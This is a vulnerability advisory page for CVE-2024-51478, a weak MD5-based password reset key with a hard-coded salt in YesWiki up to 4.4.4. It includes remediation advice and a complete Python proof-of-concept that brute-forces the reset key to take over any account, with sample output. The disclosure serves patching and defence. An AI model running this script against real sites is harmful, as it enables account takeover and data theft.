Loading...
Skip to main content

CVE-2024-51478 — Vulnerability in yeswiki/yeswiki — CVE Details

HIGH

YesWiki Uses a Broken or Risky Cryptographic Algorithm

Published October 31, 2024Updated October 31, 2024Source: osv

Summary

### Summary The use of a weak cryptographic algorithm and a hard-coded salt to hash the password reset key allows it to be recovered and used to reset the password of any account. ### Details Firstly, the salt used to hash the password reset key is hard-coded in the `includes/services/UserManager.php` file at line `36` : ```php private const PW_SALT = 'FBcA'; ``` Next, the application uses a weak cryptographic algorithm to hash the password reset key. The hash algorithm is defined in the `includes/services/UserManager.php` file at line `201` : ```php protected function generateUserLink($user) { // Generate the password recovery key $key = md5($user['name'] . '_' . $user['email'] . random_int(0, 10000) . date('Y-m-d H:i:s') . self::PW_SALT); ``` The key is generated from the **user's name**, **e-mail address**, a random number **between 0 and 10000**, the **current date** of the request and the **salt**. If we know the user's name and e-mail address, we can retrieve the key and use it to reset the account password with a bit of brute force on the random number. ### Proof of Concept (PoC) To demonstrate the vulnerability, I created a python script to automatically retrieve the key and reset the password of a provided username and email. ```python #!/usr/bin/env python3 # -*- coding: utf-8 -*- # Author: Nishacid # YesWiki <= 4.4.4 Account Takeover via Weak Password Reset Crypto from hashlib import md5 from requests import post, get from base64 import b64encode from sys import exit from datetime import datetime from concurrent.futures import ThreadPoolExecutor, as_completed from argparse import ArgumentParser # Known data salt = 'FBcA' # Hardcoded salt random_range = 10000 # Range for random_int() WORKERS = 20 # Number of workers # Arguments def parseArgs(): parser = ArgumentParser() parser.add_argument("-u", "--username", dest="username", default=None, help="Username of the account", required=True) parser.add_argument("-e", "--email", dest="email", default=None, help="Email of the account", required=True) parser.add_argument("-d", "--domain", dest="domain", default=None, help="Domain of the target", required=True) return parser.parse_args() # Reset password request and get timestamp def reset_password(email: str, domain: str): response = post( f'{domain}?MotDePassePerdu', data={ 'email': email, 'subStep': '1' }, headers={ 'Content-Type': 'application/x-www-form-urlencoded' } ) if response.ok: timestamp = datetime.now() # obtain the timestamp timestamp = timestamp.strftime('%Y-%m-%d %H:%M:%S') print(f"[*] Requesting link for {email} at {timestamp}") return timestamp else: print("[-] Error while resetting password.") exit() # Generate and check keys def check_key(random_int_val: int, timestamp_req: str, domain: str, username: str, email: str): user_base64 = b64encode(username.encode()).decode() data = f"{username}_{email}{random_int_val}{timestamp_req}{salt}" hash_candidate = md5(data.encode()).hexdigest() url = f"{domain}?MotDePassePerdu&a=recover&email={hash_candidate}&u={user_base64}" # print(f"[*] Checking {url}") response = get(url) # Check if the link is valid, warning depending on the language if '<strong>Bienvenu.e' in response.text or '<strong>Welcome' in response.text: return (True, random_int_val, hash_candidate, url) return (False, random_int_val, None, None) def main(timestamp_req: str, domain: str, username: str, email: str): # Launch the brute-force print(f"[*] Starting brute-force, it can take few minutes...") with ThreadPoolExecutor(max_workers=WORKERS) as executor: futures = [executor.submit(check_key, i, timestamp_req, domain, username, email) for i in range(random_range + 1)] for future in as_completed(futures): success, random_int_val, hash_candidate, url = future.result() if success: print(f"[+] Key found ! random_int: {random_int_val}, hash: {hash_candidate}") print(f"[+] URL: {url}") exit() else: print("[-] Key not found.") if __name__ == "__main__": args = parseArgs() timestamp_req = reset_password(args.email, args.domain) main(timestamp_req, args.domain, args.username, args.email) ``` Simply run this script with the arguments `-u` for the username, `-e` for the email and `-d` for the target domain. ```bash » python3 expoit.py --username 'admin' --email 'admin@nishacid.local' --domain 'http://localhost/' [*] Requesting link for admin@nishacid.local at 2024-10-30 10:46:48 [*] Starting brute-force, it can take few minutes... [+] Key found ! random_int: 9264, hash: 22a2751f50ba74b259818394d34020c9 [+] URL: http://localhost/?MotDePassePerdu&a=recover&email=22a2751f50ba74b259818394d34020c9&u=YWRtaW4K ``` ### Impact Many impacts are possible, the most obvious being account takeover, which can lead to theft of sensitive data, modification of website content, addition/deletion of administrator accounts, user identity theft, etc. ### Recommendation The safest solution is to replace the salt with a random one and the hash algorithm with a more secure one. For example, you can use [random bytes](https://www.php.net/manual/en/function.random-bytes.php) instead of a random integer.

Advisory Timeline

  • First published October 31, 2024 (711 days ago).
  • Last revised October 31, 2024 — 0 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

Composer
Update yeswiki/yeswiki to 4.4.5 or later
composer require "yeswiki/yeswiki:^4.4.5"

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (1)

Affects 1 ecosystem: packagist (1).

PackageEcosystemAffectedFixed In
yeswiki/yeswiki
packagist
4.2.3, v4.1.0, v4.1.1, v4.1.2 (+14 more)4.4.5

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

  • CWE-327
    Use of a Broken or Risky Cryptographic AlgorithmMITRE

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 9.9 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
Low
Availability
Low

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:L

Frequently Asked Questions

What is CVE-2024-51478?
YesWiki Uses a Broken or Risky Cryptographic Algorithm This vulnerability has been assigned a severity rating of HIGH (CVSS score: 9.9/10).
How do I check if my project is affected by CVE-2024-51478?
CVE-2024-51478 affects yeswiki/yeswiki. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2024-51478 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
9.9

Exploitation is straightforward and causes maximum impact. Patch immediately.

Also Known As

GHSA-4fvx-h823-38v3

Related CVEs

  • CVE-2026-52766
    CRITICAL

    YesWiki vulnerable to unauthenticated arbitrary page deletion via `{{erasespamedcomments}}` action

  • CVE-2026-52778
    CRITICAL

    YesWiki has Unsafe eval() in its Formula Calculato, Leading to Remote Code Execution & Denial of Service

  • CVE-2025-46348
    CRITICAL

    YesWiki Vulnerable to Unauthenticated Site Backup Creation and Download

  • CVE-2026-52775
    HIGH

    YesWiki has Authenticated SQL Injection via ReactionManager

  • CVE-2025-46347
    HIGH

    YesWiki Remote Code Execution via Arbitrary PHP File Write and Execution

  • CVE-2026-52771
    HIGH

    YesWiki: Second-Order SQL Injection in Page Delete API via Unescaped Page Tag (`ApiController::deletePage`)

  • CVE-2026-52767
    HIGH

    YesWiki Vulnerable to Unauthenticated ActivityPub Signature-Verification Bypass via `!openssl_verify(...)` accepting `int(-1)`

  • CVE-2026-52769
    HIGH

    YesWiki has Unauthenticated Server-Side Request Forgery via ActivityPub `Signature.keyId`

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies